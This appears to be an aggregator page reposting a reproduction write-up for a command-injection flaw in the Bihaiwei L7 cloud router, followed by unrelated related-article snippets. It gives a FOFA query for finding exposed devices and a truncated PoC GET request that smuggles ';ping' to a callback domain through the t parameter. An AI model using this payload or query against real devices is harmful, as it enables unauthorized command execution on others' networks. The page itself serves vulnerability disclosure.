当前位置： 首页 > news >正文

碧海威L7云路由无线运营版 confirm.php/jumper.php 命令注入漏洞复现(XVE-2024-15716)

news 2026/3/28 3:22:48

0x01 产品简介

碧海威L7网络设备是 北京智慧云巅科技有限公司下的产品，基于国产化ARM硬件平台，采用软硬一体协同设计方案，释放出产品最大效能，具有高性能，高扩展，产品性能强劲，具备万兆吞吐能力，支持上万用户同时在线等高性能。其采用简单清晰的可视化WEB管理界面，支持最新HTML5，方便移动设备访问管理，分级别多层次管理模块，使用简单，维护方便;设备状况、网络流量一目了然，一键备份/恢复，让网络管理更简单。是为酒店、度假村、商场和车站等商用无线管理者独身订造的专用网络设备，具备路由、防火墙、流控、无线AC控制器、微信认证等多项功能。

0x02 漏洞概述

碧海威L7 confirm.php、jumper.php接口处存在RCE漏洞，恶意攻击者可能利用此漏洞执行恶意命令，获取服务器敏感信息，最终可能导致服务器失陷。

0x03 影响范围

碧海威科技-L7

0x04 复现环境

FOFA：app="碧海威科技-L7云路由"

0x05 漏洞复现

PoC-1

GET /notice/confirm.php?t=;ping%20fwvjytharz.dgrh3.cn HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*
User-Agent: Mozilla/5.0 (Windows NT

相关文章：

碧海威L7云路由无线运营版 confirm.php/jumper.php 命令注入漏洞复现(XVE-2024-15716)

0x01 产品简介 碧海威L7网络设备是 北京智慧云巅科技有限公司下的产品，基于国产化ARM硬件平台，采用软硬一体协同设计方案，释放出产品最大效能，具有高性能，高扩展，产品性能强劲，具备万兆吞吐能力，支持上万用户同时在线等高性能。其采用简单清晰的可视化WEB管理界面，支持…...

编程日记 2024/7/1 0:04:53

redis实战-添加商户缓存

为什么要使用缓存 言简意赅：速度快，好用缓存数据存储于代码中，而代码运行在内存中，内存的读写性能远高于磁盘，缓存可以大大降低用户访问并发量带来的服务器读写压力实际开发中，企业的数据量，少…...

编程日记 2024/7/1 0:03:52

SQL游标的基本使用方法与示例

SQL游标的基本使用方法与示例 大家好，我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编，也是冬天不穿秋裤，天冷也要风度的程序猿！今天我们来探讨SQL游标的基本使用方法及示例。在数据库编程中，游标是一…...

编程日记 2024/6/30 23:58:47

还不知道工业以太网和现场总线区别???

工业以太网 工业以太网是一种专为工业环境设计的网络通信技术，它基于标准的以太网技术，但针对工业应用进行了优化。工业以太网能够适应高温、低温、防尘等恶劣工业环境，采用TCP/IP协议，与IEEE 802.3标准兼容，并在应用层…...

编程日记 2024/6/30 23:56:46

量化交易 - 策略回测

策略回测 1、什么是策略回测？2、策略回测的作用3、策略回测系统概述3.1策略回测中相关的指标介绍3.2量化交易策略的资金容量3.3 完整的策略回测系统包含哪些内容 1、什么是策略回测？ 策略回测，也称之为策略回溯测试，是指利用交易…...

编程日记 2024/6/30 23:54:43

Java--选择排序

思想 从左向右遍历数组，让每个数组元素依次作为基准，将基准数组扫描一次，若有元素比基准小则标记这个元素，若后续元素存在比此元素更小的，则标记更小的元素，遍历完此次数组之后，交换基准和标记数…...

编程日记 2024/6/30 23:53:42

Python基础之模块和包

文章目录 1 模块和包1.1 模块和包1.1.1 模块1.1.2 包1.1.3 简单使用 1.2 import 语句1.2.1 import1.2.2 from … import 语句1.2.3 from … import * 语句 1.4 深入模块1.4.1 模块符号表1.4.2 __name__属性1.4.3 dir() 函数1.4.4 作用域 1.5 常用内置模块 1 模块和包 1.1 模块…...

编程日记 2024/6/30 23:51:40

基于SpringBoot漫画网站系统设计和实现(源码+LW+调试文档+讲解等)

💗博主介绍：✌全网粉丝10W,CSDN作者、博客专家、全栈领域优质创作者，博客之星、平台优质作者、专注于Java、小程序技术领域和毕业项目实战✌💗 🌟文末获取源码数据库🌟 感兴趣的可以先收藏起来，…...

编程日记 2024/6/30 23:50:39

Mysql----表的约束

提示：以下是本篇文章正文内容，下面案例可供参考 一、表的约束 表的约束：表中一定要有约束，通过约束让插入表中的数据是符合预期的。它的本质是通过技术手段，让程序员插入正确的数据，约束的最终目标是保证…...

编程日记 2024/6/30 23:48:37

如何用 PHP 实现一个自定义爬虫框架

随着互联网的不断发展，信息量爆炸式增长，获取有价值的信息已经成为了许多人的需求。在这样的大环境下，爬虫技术逐渐兴起，成为了大数据时代的重要工具之一。爬虫技术的应用十分广泛，其可以用于网络舆情监测、数据分析、…...

编程日记 2024/6/30 23:46:34

【机器学习】机器学习的重要方法——强化学习：理论，方法与实践

目录 一、强化学习的核心概念 二、强化学习算法的分类与示例代码 三.强化学习的优势 四.强化学习的应用与挑战 五、总结与展望 强化学习：理论，方法和实践 在人工智能的广阔领域中，强化学习（Reinforcement Learning, RL&…...

编程日记 2024/6/30 23:45:33

Linux磁盘监控思路分析

磁盘监控原理 设备又名I/O设备，泛指计算机系统中除主机以外的所有外部设备。 1.1 计算机分类 1.1.1 按照信息传输速度分： 1.低速设备：每秒传输信息仅几个字节或者百个字节，如：键盘、鼠标等 2.中速设备&#xff1a…...

编程日记 2024/6/30 23:44:32

pc端制作一个顶部固定的菜单栏

效果 hsl颜色 hsl颜色在css中比较方便 https://www.w3school.com.cn/css/css_colors_hsl.asp 色相（hue）是色轮上从 0 到 360 的度数。0 是红色，120 是绿色，240 是蓝色。饱和度（saturation）是一个百分比值…...

编程日记 2024/6/30 23:43:31

ONLYOFFICE 8.1版本桌面编辑器深度体验：创新功能与卓越性能的结合

ONLYOFFICE 8.1版本桌面编辑器深度体验：创新功能与卓越性能的结合 随着数字化办公的日益普及，一款高效、功能丰富的办公软件成为了职场人士的必备工具。ONLYOFFICE团队一直致力于为用户提供全面而先进的办公解决方案。最新推出的ONLYOFFICE 8.1版本桌面编…...

编程日记 2024/6/30 23:42:30

使用Java连接数据库并且执行数据库操作和创建用户登录图形化界面（2）

（1）在student数据库上创建一个用户表tb_account，该表包含用户id，用户名和密码。 字段名称 数据类型 注释 约束 user_id Char(8) 用户id 主键 user_name char(10) 用户名 不能为空 password char(10) 密码 默认值&a…...

编程日记 2024/6/30 23:41:27

socket编程常见操作

1、连接的建立 分为两种：服务端处理接收客户端的连接；服务端作为客户端连接第三方服务 //作为服务端 int listenfd socket(AF_INET, SOCK_STREAM, 0); bind(listenfd, (struct sockaddr*)&servaddr, sizeof(servaddr))) listen(listenfd, 10); //…...

编程日记 2024/6/30 23:39:26

springcloud-config git配置源加载（部署公钥问题）

使用gitUrl作为配置源 gitee 或者github 中有类似于发布密钥的功能，允许通过私钥只读访问指定的仓库，文档中说的是 限制了git的操作为pull 和 clone。生成私钥的方式文档连接在此 https://gitee.com/help/articles/4181#article-header0 spring config只…...

编程日记 2024/6/30 23:38:24

华为OD机考题HJ24 合唱队

前言 应广大同学要求，开始以OD机考题作为练习题，看看算法和数据结构掌握情况。有需要练习的可以关注下。 描述 N 位同学站成一排，音乐老师要请最少的同学出列，使得剩下的 K 位同学排成合唱队形。 设𝐾K位同学从左到…...

编程日记 2024/6/30 23:37:23

基于bootstrap的12种登录注册页面模板

基于bootstrap的12种登录注册页面模板，分三种类型，默认简单的登录和注册，带背景图片的登录和注册，支持弹窗的登录和注册页面html下载。 微信扫码下载...

编程日记 2024/6/30 23:36:22

【劳德巴赫 Trace32 高阶系列 3.1 -- trace32 svf 文件操作与 InitState】

文章目录 SVF InitStateJTAG 状态机JTAG Test-Logic-ResetJTAG Run-Test-IdleSVF InitState Format: JTAG.PROGRAM.SVF <file> [/<option>] <option>: IRPRE <value>IRPOST <value>DRPRE <value>DRPOST <value<...

编程日记 2024/6/30 23:35:21

极客专属：OpenClaw+百川2-13B打造个人CLI智能助手

极客专属&#xff1a;OpenClaw百川2-13B打造个人CLI智能助手 1. 为什么开发者需要命令行智能助手 作为一个长期与终端打交道的开发者&#xff0c;我每天要重复执行大量机械操作&#xff1a;查看日志、运行测试、整理结果。这些工作虽然简单&#xff0c;却极其消耗精力。直到我…...

编程新知 2026/3/28 3:03:12

第三章 Qt 编译及安装

1. Qt 编译安装 2 Qt 在线安装 在线安装包的下载地址&#xff1a; https://download.qt.io/official_releases/online_installers/ Qt对不同的平台提供了不同版本的安装包&#xff0c;可根据实际情况自行下载安装&#xff0c;本文档使用qt-online-installer-windows-x64-on…...

编程新知 2026/3/28 2:02:19

4大核心优势解决人脸处理难题：设计师与创作者的AI增强工具

4大核心优势解决人脸处理难题&#xff1a;设计师与创作者的AI增强工具 【免费下载链接】DZ-FaceDetailer a node for comfyui for restore/edit/enchance faces utilizing face recognition 项目地址: https://gitcode.com/gh_mirrors/dz/DZ-FaceDetailer 【问题诊断】为…...

编程新知 2026/3/28 1:58:18

OpenClaw自动化测试：Qwen3.5-9B在API接口校验中的实战应用

OpenClaw自动化测试&#xff1a;Qwen3.5-9B在API接口校验中的实战应用 1. 为什么选择OpenClaw做接口自动化测试 去年接手一个个人项目时&#xff0c;我遇到了接口测试的痛点&#xff1a;每次后端更新都要手动验证几十个API&#xff0c;不仅耗时还容易遗漏边缘case。尝试过Pos…...

编程新知 2026/3/28 1:17:39

SEO_网站SEO诊断与快速优化解决办法分享

<h2>SEO诊断&#xff1a;了解你的网站现状&#xff0c;为优化铺路</h2> <p>在当今数字化时代&#xff0c;拥有一个高效、优化良好的网站是任何企业或个人成功的关键。网站SEO诊断是这一过程中的重要步骤。通过网站SEO诊断&#xff0c;我们可以全面了解你的网…...

编程新知 2026/3/28 1:09:38

从AlexNet到MobileNet：深度可分离卷积如何用1/4参数量实现高效推理？

从AlexNet到MobileNet&#xff1a;深度可分离卷积如何用1/4参数量实现高效推理&#xff1f; 在移动互联网时代&#xff0c;AI模型部署正经历从云端到边缘的范式转移。当我们谈论"高效推理"时&#xff0c;实际上是在探讨一个核心矛盾&#xff1a;如何在有限的硬件资源…...

编程新知 2026/3/27 20:53:39

深度解析模型调参三剑客：Temperature、Top-k与Top-p的实战应用

1. 理解调参三剑客的核心逻辑 第一次接触大模型参数调整时&#xff0c;我被Temperature、Top-k和Top-p这三个参数搞得晕头转向。直到在电商文案生成项目中踩了坑才明白&#xff1a;这三个参数就像烹饪时的火候控制&#xff0c;用对了能让AI输出事半功倍。 Temperature本质上是个…...

编程新知 2026/3/27 19:18:52

Step3-VL-10B部署案例：金融APP界面自动化测试，覆盖85%人工回归用例

Step3-VL-10B部署案例&#xff1a;金融APP界面自动化测试&#xff0c;覆盖85%人工回归用例 1. 项目背景与痛点 金融APP的每一次版本更新&#xff0c;都伴随着一场紧张的回归测试。测试团队需要反复验证登录、转账、理财购买、账单查询等几十个核心功能&#xff0c;确保新代码…...

编程新知 2026/3/27 18:52:40

多模态数字人智能交互平台源码获取方式，支持语音克隆+实时渲染，可商用

温馨提示&#xff1a;文末有资源获取方式最近“龙虾AI”的热度很高&#xff0c;似乎人人都想养一个属于自己的数字员工。但现实是&#xff0c;这类技术对普通用户并不友好&#xff1a;部署需要代码、配置需要专人、调试更是门槛重重。更别提高昂的Token消耗&#xff0c;轻度使用…...

编程新知 2026/3/27 18:40:37

如何快速掌握Windows系统权限管理：NSudo终极指南

如何快速掌握Windows系统权限管理&#xff1a;NSudo终极指南 【免费下载链接】NSudo [Deprecated, work in progress alternative: https://github.com/M2Team/NanaRun] Series of System Administration Tools 项目地址: https://gitcode.com/gh_mirrors/ns/NSudo 想要…...

编程新知 2026/3/27 16:59:34